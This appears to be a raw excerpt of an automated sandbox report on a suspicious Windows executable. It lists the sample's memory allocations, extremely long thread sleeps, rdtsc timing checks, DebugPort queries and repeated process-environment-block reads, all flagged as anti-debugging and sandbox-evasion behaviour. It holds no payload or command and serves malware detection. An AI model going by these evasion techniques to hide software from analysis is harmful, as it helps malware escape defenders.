Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: 27E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: 29B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: 27E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: 8A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: 7080000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: 9A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Memory allocated: AA00000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Code function: 2_2_015A088E rdtsc

2_2_015A088E

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\tzutil.exe

Window / User API: threadDelayed 9113

Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\tzutil.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\5CTbduoXq4.exe TID: 3648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe TID: 4620	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe TID: 4620	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe TID: 4620	Thread sleep count: 9113 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe TID: 4620	Thread sleep time: -18226000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\tzutil.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\tzutil.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\tzutil.exe

Code function: 4_2_0082C9D0 FindFirstFileW,FindNextFileW,FindClose,

4_2_0082C9D0

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: firefox.exe, 00000006.00000002.44938189599.000002520F576000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllqqzaP
Source: QgsPQaUVZZ.exe, 00000005.00000002.49196992314.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllG
Source: tzutil.exe, 00000004.00000002.49196340129.000000000096D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\tzutil.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Code function: 2_2_015A088E rdtsc

2_2_015A088E

Source: C:\Users\user\Desktop\5CTbduoXq4.exe

Code function: 2_2_00417B63 LdrLoadDll,

2_2_00417B63

Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159415F mov eax, dword ptr fs:[00000030h]	2_2_0159415F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155A147 mov eax, dword ptr fs:[00000030h]	2_2_0155A147
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155A147 mov eax, dword ptr fs:[00000030h]	2_2_0155A147
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155A147 mov eax, dword ptr fs:[00000030h]	2_2_0155A147
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566179 mov eax, dword ptr fs:[00000030h]	2_2_01566179
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01590118 mov eax, dword ptr fs:[00000030h]	2_2_01590118
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EA130 mov eax, dword ptr fs:[00000030h]	2_2_015EA130
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016281EE mov eax, dword ptr fs:[00000030h]	2_2_016281EE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016281EE mov eax, dword ptr fs:[00000030h]	2_2_016281EE
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015701C0 mov eax, dword ptr fs:[00000030h]	2_2_015701C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015701C0 mov eax, dword ptr fs:[00000030h]	2_2_015701C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015701F1 mov eax, dword ptr fs:[00000030h]	2_2_015701F1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015701F1 mov eax, dword ptr fs:[00000030h]	2_2_015701F1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015701F1 mov eax, dword ptr fs:[00000030h]	2_2_015701F1
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A1E3 mov eax, dword ptr fs:[00000030h]	2_2_0156A1E3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A1E3 mov eax, dword ptr fs:[00000030h]	2_2_0156A1E3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A1E3 mov eax, dword ptr fs:[00000030h]	2_2_0156A1E3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A1E3 mov eax, dword ptr fs:[00000030h]	2_2_0156A1E3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A1E3 mov eax, dword ptr fs:[00000030h]	2_2_0156A1E3
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015581EB mov eax, dword ptr fs:[00000030h]	2_2_015581EB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01564180 mov eax, dword ptr fs:[00000030h]	2_2_01564180
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01564180 mov eax, dword ptr fs:[00000030h]	2_2_01564180
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01564180 mov eax, dword ptr fs:[00000030h]	2_2_01564180
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015941BB mov ecx, dword ptr fs:[00000030h]	2_2_015941BB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015941BB mov eax, dword ptr fs:[00000030h]	2_2_015941BB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015941BB mov eax, dword ptr fs:[00000030h]	2_2_015941BB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E1A4 mov eax, dword ptr fs:[00000030h]	2_2_0159E1A4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E1A4 mov eax, dword ptr fs:[00000030h]	2_2_0159E1A4
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01590044 mov eax, dword ptr fs:[00000030h]	2_2_01590044
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E6040 mov eax, dword ptr fs:[00000030h]	2_2_015E6040
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566074 mov eax, dword ptr fs:[00000030h]	2_2_01566074
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01566074 mov eax, dword ptr fs:[00000030h]	2_2_01566074
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2010 mov ecx, dword ptr fs:[00000030h]	2_2_015A2010
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01568009 mov eax, dword ptr fs:[00000030h]	2_2_01568009
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155C0F6 mov eax, dword ptr fs:[00000030h]	2_2_0155C0F6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC0E0 mov ecx, dword ptr fs:[00000030h]	2_2_015EC0E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155C090 mov eax, dword ptr fs:[00000030h]	2_2_0155C090
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155A093 mov ecx, dword ptr fs:[00000030h]	2_2_0155A093
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F6090 mov eax, dword ptr fs:[00000030h]	2_2_015F6090
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01634080 mov eax, dword ptr fs:[00000030h]	2_2_01634080
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E60A0 mov eax, dword ptr fs:[00000030h]	2_2_015E60A0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A00A5 mov eax, dword ptr fs:[00000030h]	2_2_015A00A5
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A350 mov eax, dword ptr fs:[00000030h]	2_2_0159A350
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01558347 mov eax, dword ptr fs:[00000030h]	2_2_01558347
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01558347 mov eax, dword ptr fs:[00000030h]	2_2_01558347
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01558347 mov eax, dword ptr fs:[00000030h]	2_2_01558347
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158237A mov eax, dword ptr fs:[00000030h]	2_2_0158237A
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE372 mov eax, dword ptr fs:[00000030h]	2_2_015DE372
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE372 mov eax, dword ptr fs:[00000030h]	2_2_015DE372
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE372 mov eax, dword ptr fs:[00000030h]	2_2_015DE372
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE372 mov eax, dword ptr fs:[00000030h]	2_2_015DE372
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0371 mov eax, dword ptr fs:[00000030h]	2_2_015E0371
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0371 mov eax, dword ptr fs:[00000030h]	2_2_015E0371
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159E363 mov eax, dword ptr fs:[00000030h]	2_2_0159E363
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159631F mov eax, dword ptr fs:[00000030h]	2_2_0159631F
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157E310 mov eax, dword ptr fs:[00000030h]	2_2_0157E310
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157E310 mov eax, dword ptr fs:[00000030h]	2_2_0157E310
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157E310 mov eax, dword ptr fs:[00000030h]	2_2_0157E310
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160630E mov eax, dword ptr fs:[00000030h]	2_2_0160630E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01598322 mov eax, dword ptr fs:[00000030h]	2_2_01598322
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01598322 mov eax, dword ptr fs:[00000030h]	2_2_01598322
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01598322 mov eax, dword ptr fs:[00000030h]	2_2_01598322
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155E328 mov eax, dword ptr fs:[00000030h]	2_2_0155E328
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155E328 mov eax, dword ptr fs:[00000030h]	2_2_0155E328
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155E328 mov eax, dword ptr fs:[00000030h]	2_2_0155E328
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EE3DD mov eax, dword ptr fs:[00000030h]	2_2_015EE3DD
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015943D0 mov ecx, dword ptr fs:[00000030h]	2_2_015943D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E43D5 mov eax, dword ptr fs:[00000030h]	2_2_015E43D5
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155C3C7 mov eax, dword ptr fs:[00000030h]	2_2_0155C3C7
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0155E3C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0155E3C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155E3C0 mov eax, dword ptr fs:[00000030h]	2_2_0155E3C0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015663CB mov eax, dword ptr fs:[00000030h]	2_2_015663CB
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158A390 mov eax, dword ptr fs:[00000030h]	2_2_0158A390
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158A390 mov eax, dword ptr fs:[00000030h]	2_2_0158A390
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158A390 mov eax, dword ptr fs:[00000030h]	2_2_0158A390
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016043BA mov eax, dword ptr fs:[00000030h]	2_2_016043BA
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_016043BA mov eax, dword ptr fs:[00000030h]	2_2_016043BA
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DC3B0 mov eax, dword ptr fs:[00000030h]	2_2_015DC3B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155821B mov eax, dword ptr fs:[00000030h]	2_2_0155821B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155A200 mov eax, dword ptr fs:[00000030h]	2_2_0155A200
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01580230 mov ecx, dword ptr fs:[00000030h]	2_2_01580230
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A22B mov eax, dword ptr fs:[00000030h]	2_2_0159A22B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A22B mov eax, dword ptr fs:[00000030h]	2_2_0159A22B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A22B mov eax, dword ptr fs:[00000030h]	2_2_0159A22B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0227 mov eax, dword ptr fs:[00000030h]	2_2_015E0227
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0227 mov eax, dword ptr fs:[00000030h]	2_2_015E0227
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E0227 mov eax, dword ptr fs:[00000030h]	2_2_015E0227
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015702F9 mov eax, dword ptr fs:[00000030h]	2_2_015702F9
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015682E0 mov eax, dword ptr fs:[00000030h]	2_2_015682E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015682E0 mov eax, dword ptr fs:[00000030h]	2_2_015682E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015682E0 mov eax, dword ptr fs:[00000030h]	2_2_015682E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015682E0 mov eax, dword ptr fs:[00000030h]	2_2_015682E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A2E0 mov eax, dword ptr fs:[00000030h]	2_2_0156A2E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A2E0 mov eax, dword ptr fs:[00000030h]	2_2_0156A2E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A2E0 mov eax, dword ptr fs:[00000030h]	2_2_0156A2E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A2E0 mov eax, dword ptr fs:[00000030h]	2_2_0156A2E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A2E0 mov eax, dword ptr fs:[00000030h]	2_2_0156A2E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156A2E0 mov eax, dword ptr fs:[00000030h]	2_2_0156A2E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE289 mov eax, dword ptr fs:[00000030h]	2_2_015DE289
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0155C2B0 mov ecx, dword ptr fs:[00000030h]	2_2_0155C2B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015842AF mov eax, dword ptr fs:[00000030h]	2_2_015842AF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015842AF mov eax, dword ptr fs:[00000030h]	2_2_015842AF
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015F6550 mov eax, dword ptr fs:[00000030h]	2_2_015F6550
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157E547 mov eax, dword ptr fs:[00000030h]	2_2_0157E547
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01596540 mov eax, dword ptr fs:[00000030h]	2_2_01596540
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01598540 mov eax, dword ptr fs:[00000030h]	2_2_01598540
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0156254C mov eax, dword ptr fs:[00000030h]	2_2_0156254C
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162A553 mov eax, dword ptr fs:[00000030h]	2_2_0162A553
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157C560 mov eax, dword ptr fs:[00000030h]	2_2_0157C560
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC51D mov eax, dword ptr fs:[00000030h]	2_2_015EC51D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C50D mov eax, dword ptr fs:[00000030h]	2_2_0159C50D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C50D mov eax, dword ptr fs:[00000030h]	2_2_0159C50D
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01562500 mov eax, dword ptr fs:[00000030h]	2_2_01562500
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E507 mov eax, dword ptr fs:[00000030h]	2_2_0158E507
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015A2539 mov eax, dword ptr fs:[00000030h]	2_2_015A2539
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0157252B mov eax, dword ptr fs:[00000030h]	2_2_0157252B
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0160E5E0 mov eax, dword ptr fs:[00000030h]	2_2_0160E5E0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015965D0 mov eax, dword ptr fs:[00000030h]	2_2_015965D0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E05C6 mov eax, dword ptr fs:[00000030h]	2_2_015E05C6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159C5C6 mov eax, dword ptr fs:[00000030h]	2_2_0159C5C6
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC5FC mov eax, dword ptr fs:[00000030h]	2_2_015EC5FC
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A5E7 mov ebx, dword ptr fs:[00000030h]	2_2_0159A5E7
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A5E7 mov eax, dword ptr fs:[00000030h]	2_2_0159A5E7
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015EC592 mov eax, dword ptr fs:[00000030h]	2_2_015EC592
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01592594 mov eax, dword ptr fs:[00000030h]	2_2_01592594
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE588 mov eax, dword ptr fs:[00000030h]	2_2_015DE588
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015DE588 mov eax, dword ptr fs:[00000030h]	2_2_015DE588
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A580 mov eax, dword ptr fs:[00000030h]	2_2_0159A580
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0159A580 mov eax, dword ptr fs:[00000030h]	2_2_0159A580
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015645B0 mov eax, dword ptr fs:[00000030h]	2_2_015645B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015645B0 mov eax, dword ptr fs:[00000030h]	2_2_015645B0
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_015E85AA mov eax, dword ptr fs:[00000030h]	2_2_015E85AA
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E45E mov eax, dword ptr fs:[00000030h]	2_2_0158E45E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E45E mov eax, dword ptr fs:[00000030h]	2_2_0158E45E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E45E mov eax, dword ptr fs:[00000030h]	2_2_0158E45E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E45E mov eax, dword ptr fs:[00000030h]	2_2_0158E45E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0158E45E mov eax, dword ptr fs:[00000030h]	2_2_0158E45E
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_0162A464 mov eax, dword ptr fs:[00000030h]	2_2_0162A464
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445 mov eax, dword ptr fs:[00000030h]	2_2_01570445
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445 mov eax, dword ptr fs:[00000030h]	2_2_01570445
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445 mov eax, dword ptr fs:[00000030h]	2_2_01570445
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445 mov eax, dword ptr fs:[00000030h]	2_2_01570445
Source: C:\Users\user\Desktop\5CTbduoXq4.exe	Code function: 2_2_01570445 mov eax, dword ptr fs:[00000030h]	2_2_01570445
